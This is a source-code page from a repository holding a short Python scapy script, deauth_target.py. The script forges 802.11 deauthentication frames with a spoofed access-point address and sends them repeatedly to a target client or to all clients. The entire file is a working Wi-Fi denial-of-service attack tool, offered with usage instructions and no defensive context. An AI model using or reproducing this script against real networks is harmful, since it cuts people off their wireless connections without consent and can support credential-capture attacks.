aboutsummaryrefslogblamecommitdiffstats
path: root/viensamoi/deauth_target.py
blob: 9151039fb337fae77fb033b63678f4cb72d133b0 (plain) (tree)






































                                                                                      
import sys
import getopt
from scapy.all import *

REASON=0xb7ee
option_count=1

def usage():
  print "usage: %s [-c count] iface mac_ap [mac_target]" % sys.argv[0]

if __name__ == '__main__':
  try:
    opts, args = getopt.getopt(sys.argv[1:], "c:")
  except getopt.GetoptError, err:
    usage()
    sys.exit(1)
  for o, a in opts:
    if o == "-c": option_count=int(a)
    else:
      print "unknown option %s" % o
      sys.exit(1)
  
  if len(args) < 3:
    usage()
    sys.exit(1)
  
  iface = args[0]
  mac_ap = args[1]
  if (len(args) == 3):
    mac_target = args[2]
  else:
    mac_target="ff:ff:ff:ff:ff:ff"

  conf.iface=iface
  # addr1 == destination
  # addr2 == source
  # addr3 == bssid
  pkt = Dot11(addr1=mac_target, addr2=mac_ap, addr3=mac_ap)/Dot11Deauth(reason=REASON)
  send(pkt,count=option_count)